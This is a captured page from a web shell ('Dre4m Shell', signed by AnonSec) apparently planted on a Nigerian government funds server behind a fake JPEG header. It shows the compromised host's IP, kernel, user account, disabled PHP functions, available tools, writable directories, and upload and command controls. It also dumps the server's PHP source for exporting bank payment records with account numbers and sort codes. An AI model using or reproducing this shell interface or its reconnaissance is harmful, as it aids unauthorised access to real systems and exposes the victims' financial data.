ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.145.93.151
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Exports/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Exports/ExportExcelFile.php
<?php
namespace App\Exports;

use App\Models\User;
use Maatwebsite\Excel\Concerns\FromCollection;
use Maatwebsite\Excel\Concerns\WithHeadings;
use DB;
use Session;

class ExportExcelFile implements FromCollection, WithHeadings
{
    public function collection()
    {
        $courtAbbrName = (DB::table('report_head_logo')->value('company_short_name') ? DB::table('report_head_logo')->value('company_short_name') : 'Excel');
        $softCopy = Session::get('getExportSelectedRecord');

        $countNull = 1;
	    $totalAmount = 0.0;
	    if($softCopy)
	    {  
    	   foreach($softCopy as $exportValue) 
    	   {
    	   //Add All records to an array object
        	   $data[] = array(
        	       $export = $exportValue->bank,
        	       $export = $exportValue->sort_code,
        	       $export = $exportValue->contractor,
        	       $export = $exportValue->accountNo,
        	       $export = $exportValue->amount,
        	       $export = 'CR',
        	       $export = $courtAbbrName . '/CAP/0020'.date('d-m-Y'),
        	       $export = $exportValue->purpose,
        	       $export = date('d/m/Y'),
        	   );
                $totalAmount += $exportValue->amount;
    	   }//foreach
    	            
    	   //Add Total Amount
    	   //$data[] = array(
        // 	    $export = '',
        //         $export = '',
        //         $export = '',
        //     	$export = 'TOTAL',
        //     	$export = $totalAmount,
        //     	$export = '',
        //     	$export = '',
        //     	$export = '',
        //     	$export = '',
        // 	 );
	   }else{
	       //add an empty data to excel if no record passed
	       $data[] = array(
        	   $export = '',
        	   $export = '',
        	   $export = '',
        	   $export = '',
        	   $export = 0,
        	   $export = 'CR',
        	   $export = $courtAbbrName . '/CAP/0020'.date('d-m-Y'),
        	   $export = '',
        	   $export = date('d/m/Y'),
          );
	                
	       }//endif
        return collect($data); //User::all();
    }

    public function headings(): array
    {
        $courtAbbrName = (DB::table('report_head_logo')->value('company_short_name') ? DB::table('report_head_logo')->value('company_short_name') : 'Excel');
        return [
            'BANK NAME',
            'SORT CODE',
            'BENEFICIARY NAME',
            'ACCOUNT NO.',
            'AMOUNT',
            'CR/DR',
            'REF. CODE/DATE',
            $courtAbbrName.'PAYMENT',
            'CURRENT DATE'
        ];
    }

}

Anon7 - 2022
AnonSec Team